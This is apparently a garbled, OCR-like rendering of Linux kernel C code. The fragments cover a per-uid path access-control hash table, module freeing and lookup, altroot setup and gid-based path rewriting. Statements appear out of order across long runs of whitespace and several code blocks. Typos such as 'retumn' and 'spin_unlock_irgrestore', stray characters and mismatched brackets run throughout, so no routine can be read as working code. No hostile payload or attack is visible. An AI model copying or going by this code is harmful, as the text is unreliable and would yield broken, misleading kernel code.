                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          POLL_PRI */
                                                                                                                                                                                                                                                                                                                                                                                                                     not reached the end of both
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* POLL_MSG */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* POLL_OUT
                                                                                                                                                                                                           of rule string
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ** table) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     void flip (char * tmp){
                                                                                                                                                                                                                                                                                             1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                inline int hash_lookup2(uid_t uid,
                                                            table) (
                                                                              int insert_hash(uid_t uid,
                                                                                                                                                                                                                                                                                           printk("\n--%s %s",p->name,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char swap;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if(!i){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   i=j; // go to next section
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return i-1;
                                                                                                                                                                                                                                                                                                                                                                            temp=kmalloc(ssize,GFP_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                      p=table[hashval];
                                                                                                                                                                                                                                                                                                                                                                                                                                          char * temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct ac_struct * p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        int hashval=AC_HASH(uid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int i=0,j=0,right;
                                                                                                                       return 0;
                                                                                                                                                                                                                                                                                                                                    flip(temp);
                                                                                                                                                                                                                                                                                                                                                        memcpy(temp, pathname,ssize);
                                                                                                                                                                                                                                                                                                                                                                                               ssize=my_strlen(pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                               int ssize;
                                        char * temp;
                                                                                                                                              kfree(temp);
                                                                                                                                                                                                                                                                                                                 while(p) {
 int hashval=AC_HASH(uid);
                      int ssize;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      while(tmp[j]){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              kernel_path[0]='/';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          p=p->d_parent;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              kernel_path[i-1]='/';
                                                                                                                                                                                      p=p->next;
                                                                                                                                                                                                                                                                        if(p->uid==uid && my_strcmp2(p->name, temp)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          while(tmp[j]&&(tmp[j]!='/')) //move right
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if((j-i)>2){    //large enough
                                                                                                                                                                                                                               return
                                                                                                                                                                                                                                                  kfree(temp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    while((right-i)>0){ // then flip
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         right=j-1; i++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1++; right--;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           tmp[i]=swap;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             tmp[right]=tmp[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  swap=tmp[right];
                                                                                                                          >
                                                                                                                                                                                                                               1;
                                                                                                                          ņ
                                                                                                                          rule
                                                                                                                                                                                                                             // rule found -- allow access
                                                                                                                            found
                                                                                   char *
                                                                                                                                                                                                                                                                                             temp);
                                                                                                                            ŧ
                                                                                 pathname, struct ac_struct **
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 char * pathname, struct ac_struct
                                                                                                                            access
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ç
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                flip
                                                                                                                          denied
```

```
inline int hash_lookup(uid_t uid, char * pathname, struct ac_struct **
                                                                                                                                                                                                                                                                                                                                                                                                        table) (
                                                                                                                                                                                                                                                                                                                                                                                                                             int remove_hash(uid_t uid, char * pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             inline int exist(uid_t uid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   table)(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      //printk("\n--pre-INSERTING: %s",pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /printk("\n--INSERTING: %s",pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dentry) (
                                                                                               printk("\n--%s %s",p->name, temp);
                                                                                                                                                                                                                                                                                                                                                   struct ac_struct * p, *prev;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 pathname=kernel_path+index;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     char * pathname;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    while(p) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             p=table[hashval];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  struct ac_struct * p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk("\n--Rule already exists: %s", pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     p->next=table[hashval]; // insert rule in the front
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      p->uid=uid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             p=kmalloc(sizeof(struct ac_struct),GFP_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ssize=my_strlen(pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if(!hash_lookup2(uid,pathname,table)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct ac_struct * p;
                                                                                                                                                     while(p)(
                                                                                                                                                                          prev=p=table[hashval];
                                                                                                                                                                                                                                                                         ssize=my_strlen(pathname);
                                                                                                                                                                                                                                                                                                                            char * temp;
                                                                                                                                                                                                                                                                                                                                                                            int hashval=AC_HASH(uid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return hash_lookup(uid,pathname,table);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              index=construct(dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int index;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int hashval=AC_HASH(uid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              p->name=temp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  flip(temp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               memcpy (temp,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       temp=kmalloc(ssize,GFP_KERNEL);
                                                                                                                                                                                                    flip(temp)
                                                                                                                                                                                                                           memcpy(temp, pathname,ssize);
                                                                                                                                                                                                                                                    temp=kmalloc(ssize,GFP_KERNEL);
                                                                                                                                                                                                                                                                                                     int ssize;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               return
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            table[hashval]=p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            p=p->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if(p->uid==uid && my_strcmp(p->name, pathname))
  return 1; // rule found -- allow access
                                                                                                                      if(p->uid==uid && my_strcmp2(p->name, temp)){
                             else
                                                                           if (p==prev)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               0
   prev->next=p->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             //rule already exists
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // no
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               pathname, ssize);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              rule found --
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         struct ac_struct ** table, struct dentry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              access denied
                                                                                                                                                                                                                                                                                                                                                                                                                           struct ac_struct
                                                                                                                                                                                                                                                                                                                                                                            void
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 void print_hashtable(struct ac_struct ** table){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                void remove_all(struct ac_struct **
                                                                                                                                                                                                                                                                                                                                                 free_module(struct module *mod,
                                                                                                                                                                                                                                              unsigned long flags;
                                                                                                                                                                                                                                                                         unsigned i;
                                                                                                                                                                                                                                                                                                 struct module_ref *dep;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct ac_struct * p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              for(i=0;i<AC_HASH_SZ;i++){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct ac_struct *p, *next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return 0;
                       for (i = 0, dep = mod->deps; i < mod->ndeps; ++i, ++dep) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          for(i=0;i<AC_HASH_SZ;i++){
                                              // Remove the module from the dependency lists.
                                                                                                                                                                                                if (mod->flags & MOD_RUNNING)
                                                                                                                                             if (mod->cleanup)
                                                                                                                                                                                                                         Let the module clean up.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if((p=table[i])){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     p=p->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            prev=p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if(table[i]){
                                                                                               mod->flags &= ~MOD_RUNNING
struct module_ref **pp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    while(p)(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           next=p->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            return 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    kfree(p);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           kfree(p->name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         while(p) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                p=table[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           printk("\n--%d:",i);
                                                                                                                      mod->cleanup();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               printk("\n%d: %s",p->uid,p->name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if(p)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        p=next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        p=p->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  kfree(p);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         kfree(p->name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // no rule found
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          next=p->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           // rule found --
                                                                                                                                                                                                                                                                                                                                               int tag_freed)
```

```
mp(tmp,&p[1],3))
                                                                                                                                                                                                                               void g_d(char * name){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int is_d(char * name){
                                           ||p[4]==0)&&strnc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                [p[4]==0))(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |p[4]==0))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if(current->gid>100){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if(*p=='d'&&isdigit(p[1])&&isdigit(p[2])&&isdigit(p[3])&&(p[4]=='/'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if(*p=='d'&&isdigit(p[1])&&isdigit(p[2])&&isdigit(p[3])&&(p[4]=='/'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       spin_unlock_irgrestore(&modlist_lock, flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  spin_lock_irqsave(&modlist_lock, flags);
                                                                                                                                                                                char tmp[4] = { 0 };
                                                                                                                                                                                                                                                                     retumn 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        char *p=name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             module_unmap(mod);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (mod == module_list) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           // And from the main module list
                                                                                                                                sprintf(tmp, "%d", current->gid); //dcvn
                                                                                                                                                                                                         char *p=name;
                                                               if (*p=='g'&&isdigit(p[1])&&isdigit(p[2])&&isdigit(p[3])&&(p[4]=='/'
                                                                                                            if(current->gid>100){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    // And free the memory.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     else(
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         struct module *p;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        p->next = mod->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                for (p = module_list; p->next != mod; p = p->next)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        module_list = mod->next;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              for (pp = &dep->dep->refs; *pp != dep; pp = &(*pp)->next_ref)
continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        *pp = dep->next_ref;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if(*p){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       dep->dep->flags |= MOD_JUST_FREED;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    while(*p&&*p!='/')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (tag_freed && dep->dep->refs == NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              again:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return 1;
                                                                                                                                                                                                                                                                                                                                                                     goto again;
                                                                                                                                                                                                                                                                                                                                                                                                                  return 1;
                                                                                                                                                                                                                           put_mod_name(char *buf)
                                                                                                                                                                                                                                                     static inline void
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     void d_g(char * name){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     mp(tmp,&p[1],3)){
                                                                                                         find_module(const char *name)
                                                                                                                                      struct module *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int g_d(char * name){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                p[4]==0)&&strnc
                                                                                                                                                                                                                                                                                                                                                                                         if(isdigit(p[1])&&isdigit(p[2])&&isdigit(p[3]))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char *p=name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 char *p=name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if(*p=='g'&&isdigit(p[1])&&isdigit(p[2])&&isdigit(p[3])&&(p[4]=='/'
                                                                                                                                                                              free_page((unsigned long)buf);
                                                                                                                                                                                                                                                                                                                                                                                                                                      if(*p==0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      while(*p&&(*p!='g'))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if(current->gid>100){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return;
                                                               struct module *mod;
                                                                                                                                                                                                                                                                                                                      return 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return;
                                         for (mod = module_list; mod ; mod =
                                                                                                                                                                                                                                                                                                                                                                   p[0]='d';
                                                                                                                                                                                                                                                                                                                                                                                                                 return 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ;++q
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       return; if (isdigit(p[2])&&isdigit(p[3]))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if(*p==0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                while(*p&&(*p!='d'))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     else(
                if (mod->flags & MOD_DELETED)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  while(*p&&*p!='/')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            again:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   p[0]='g';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if(*p){
continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto again;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           return;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  *p='d';
                                           mod->next)
```

```
newname)
                            static inline int my_do_rename(const char * oldname, const char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        void set_fs_altroot(void)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            get_mod_name(const char *user_name, char **buf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         static inline long
                                                                                                                                                                        if (olddentry)
                                                                                                                                                                                                    write_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                        olddentry = current->fs->altroot;
                                                                                                                                                                                                                                                                                                                  oldmnt = current->fs->altrootmnt;
                                                                                                                                                                                                                                                                                                                                          write_lock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          struct vfsmount *mnt = NULL, *oldmnt;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         struct nameidata nd;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      char *emul =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           page = __get_free_page(GFP_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 unsigned long page;
                                                                                                                                                                                                                                 current->fs->altroot =
                                                                                                                                                                                                                                                           current->fs->altrootmnt = mnt;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct dentry *dentry = NULL,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         free_page(page);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (retval > 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     retval = strncpy_from_user((char *)page, user_name, PAGE_SIZE);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (!page)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           long retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                else if (!retval)
                                                                                                                                         dput (olddentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   nd.dentry = dget(current->fs->root);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 nd.mnt = mntget(current->fs->rootmnt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       retval = -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (!strcmp(mod->name, name))
                                                                                                                    mntput(oldmnt);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (path_walk(emul,&nd) == 0) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              nd.flags = LOOKUP_FOLLOW|LOOKUP_DIRECTORY|LOOKUP_POSITIVE;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            read_lock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            retval = -ENAMETOOLONG;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (retval < PAGE_SIZE) {</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          return -ENOMEM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        read_unlock(&current->fs->lock);
                                                                                                                                                                                                                                                                                                                                                                                                                             dentry = nd.dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                          mnt = nd.mnt;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         break;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 *buf =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      (char *)page;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 _emul_prefix();
                                                                                                                                                                                                                               dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                *olddentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             :
                                                                                                                                                                                            /* if(!exist(current->uid,acr,oldnd.dentry)){
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         >uid,current-
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               >d_name.name)){ //dcvn
